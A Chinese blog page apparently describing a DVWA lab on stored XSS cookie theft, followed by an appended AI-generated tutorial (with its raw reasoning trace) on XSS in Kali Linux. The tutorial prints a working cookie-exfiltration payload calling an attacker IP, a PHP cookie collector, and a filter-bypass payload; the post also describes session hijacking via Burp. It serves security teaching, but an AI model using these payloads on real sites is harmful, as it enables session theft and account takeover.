跨站脚本攻击XSS 获取cookie (low)

本文深入解析XSS(跨站脚本)攻击原理,包括存储型XSS与反射型XSS的区别,通过实验演示如何利用存储型XSS获取用户Cookie信息,并提供防范措施。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

XSS

跨站脚本攻击(Cross-site scripting),简称XSS(为区分CSS),它是一种迫使 Web 站点回显可执行代码的攻击技术。
XSS分为存储型XSS(Stored XSS)和反射型XSS(Reflected XSS)

存储型XSS

思路:
黑客在服务器的某一个留言板上留言了一条可以执行的语句(这是一条命令),这条语句上有黑客的IP地址,普通用户去访问这个网站,一旦打开了留言板的页面,就等于执行了这条命令,中招了,它会把自己的cookie信息发送给黑客,黑客知道了cookie信息以后就可以登录受害者的帐号,然后为所欲为。

XSS实验

首先
Kali(渗透机),XP(肉鸡),OWASP(服务器)能互相ping通
Kali为10.10.10.134,XP为136,OWASP为129

将security设置为low(低安全级别并没有对message做相应的检查)
在这里插入图片描述

在Kali中,创建cookie.php文件,编辑
在这里插入图片描述在这里插入图片描述
修改好后Esc 然后:wq 保存

在这里插入图片描述
然后选择 XSS srored(存储型XSS),在上面写上代码。
这可以理解为网页的留言板块,黑客把一条可以执行的语句放了上去,其中10.10.10.134便是Kali的IP,此时Kali登录的是admin帐号.(小心自己也会中招哈哈哈,自己点进去的话也会GG的,需要Setup)

注意,此时肉鸡上线了~
XP使用自己的帐号登录,然后点进去了XSS stored里,然后就卡住了。
就好比一位无辜的受害者,点进去了某个有留言板块的页面,然后就中招了,很无辜- -
在这里插入图片描述

此时打开Kali上的access.log文件
在这里插入图片描述
在这里插入图片描述
然后XP的cookie信息就在这里了。
渗透机获取cookie信息以后,使用代理,打开burpsuite 将cookie信息替换掉,便可以冒冲XP用户去访问服务器,为所欲为。

如何防范XSS?

网站开发者

1.输入验证
2.强壮的输出编码
3.明确指出输出的编码方式( ISO 8859-1 或 UTF 8)
4.注意黑名单验证

网站用户

1.不要直接点击链接,只从官方网站获取你希望浏览的页面内容。
2.将安全级别设置为“高”。

<think>我们正在讨论的是KaliLinux上进行XSS跨站脚本攻击的教程。根据引用内容,XSS攻击分为反射型、存储型和DOM型,而实践环境通常使用DVWA(Damn Vulnerable WebApplication)靶机。下面将分步骤说明如何在Kali Linux上搭建DVWA并进行XSS攻击实验。 ###步骤1:安装Kali Linux并更新系统确保你已安装KaliLinux。打开终端,执行以下命令更新系统:```bashsudoapt update&& sudoapt upgrade-y```###步骤2:安装必要的软件DVWA需要Web服务器(如Apache)、数据库(如MySQL)和PHP支持。在KaliLinux上安装LAMP环境: ```bashsudo aptinstall apache2mysql-serverphp libapache2-mod-phpphp-mysql -y``` ###步骤3:启动Apache和MySQL服务```bashsudo systemctl startapache2sudo systemctl startmysql``` ###步骤4:配置MySQL数据库运行安全脚本并设置root密码(按提示操作):```bashsudomysql_secure_installation``` 登录MySQL,创建DVWA数据库和用户:```bashsudomysql -u root-p```在MySQL提示符下执行:```sqlCREATEDATABASEdvwa; CREATEUSER 'dvwa'@'localhost'IDENTIFIED BY'password'; GRANT ALLPRIVILEGES ONdvwa.* TO'dvwa'@'localhost';FLUSHPRIVILEGES;exit;``` ###步骤5:下载并配置DVWA下载DVWA:```bashcd/var/www/htmlsudogit clonehttps://github.com/digininja/DVWA.git```设置权限: ```bashsudo chown -R www-data:www-dataDVWAsudochmod-R755DVWA```###步骤6:配置DVWA数据库连接复制配置文件模板: ```bashcd DVWA/configsudocp config.inc.php.dist config.inc.php``` 编辑`config.inc.php`,修改数据库连接信息:```php$_DVWA['db_user'] ='dvwa';$_DVWA['db_password'] ='password'; ```###步骤7:访问DVWA并初始化在浏览器中打开:`http://localhost/DVWA/setup.php`,点击“Create/ResetDatabase”按钮初始化数据库。默认登录凭证:`admin`/`password`。 ###步骤8:进行XSS攻击实验以反射型XSS为例: 1.在DVWA左侧选择“XSS Reflected”。2.在输入框中尝试注入脚本,例如:`<script>alert(document.cookie)</script>`。 3.提交后,如果页面弹出包含cookie的警告框,说明攻击成功。 存储型XSS(在留言板等处注入)和DOM型XSS(通过修改URL参数触发)实验方法类似,但需注意DVWA的安全级别设置(可在DVWA中调整)。###注意事项-实验仅在本地环境进行,切勿对未授权网站进行测试。 -理解每种XSS类型的原理和防御措施。§§相关问题§§1.如何防御XSS攻击? 2. DVWA中如何调整安全级别?3.除了DVWA,还有哪些常用的Web安全实验靶场?</think>### Kali Linux上进行XSS跨站脚本攻击的实践教程 XSS攻击通过在目标网站注入恶意脚本窃取用户信息或执行恶意操作[^1]。以下是在Kali Linux环境下进行XSS攻击实验的完整步骤: --- #### **一、环境准备** 1. **安装Kali Linux** 确保已安装最新版Kali Linux(推荐2023.x+版本) 2. **安装必要工具** ```bash sudo apt update sudo apt install apache2 php mysql-server git -y ``` 3. **启动服务** ```bash sudo systemctl start apache2 mysql ``` --- #### **二、搭建DVWA靶机** DVWA(Damn Vulnerable Web App)是专为安全测试设计的漏洞环境[^2]: ```bash cd /var/www/html sudo git clone https://github.com/digininja/DVWA.git sudo chown -R www-data:www-data DVWA ``` 1. 访问 `http://localhost/DVWA/setup.php` 2. 点击 **Create/Reset Database** 初始化数据库 3. 登录账号:`admin`/`password` > 在DVWA安全设置中调整难度为 **LOW**:`DVWA Security -> Low` --- #### **三、XSS攻击实践** ##### **1. 反射型XSS**(非持久化攻击) ```bash # 访问XSS测试页面 http://localhost/DVWA/vulnerabilities/xss_r/?name=<script>alert(1)</script> ``` 当参数`name`被注入恶意脚本时,浏览器会执行弹窗[^3]。 ##### **2. 存储型XSS**(持久化攻击) 1. 进入DVWA的 **XSS Stored** 模块 2. 在留言板输入: ```html <script>alert(document.cookie);</script> ``` 3. 提交后,所有访问该页面的用户都会触发脚本泄露cookie ##### **3. DOM型XSS** ```bash # 构造恶意URL http://localhost/DVWA/vulnerabilities/xss_d/?default=<script>alert("DOM XSS")</script> ``` --- #### **四、实战技巧** 1. **窃取Cookie** 使用真实攻击脚本: ```html <script>new Image().src="http://攻击者IP/cookie.php?c="+document.cookie;</script> ``` 在攻击机创建`cookie.php`: ```php <?php file_put_contents("stolen_cookies.txt", $_GET['c']); ?> ``` 2. **防御绕过** 当过滤`<script>`标签时尝试: ```html <img src=x onerror=alert(1)> ``` --- #### **五、防御建议** 1. 输入输出过滤(如HTML实体编码) 2. 使用CSP(Content Security Policy) 3. 设置HttpOnly Cookie标志 > ⚠️ **法律声明**:本教程仅用于授权环境的安全学习,未经授权的攻击行为违法。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值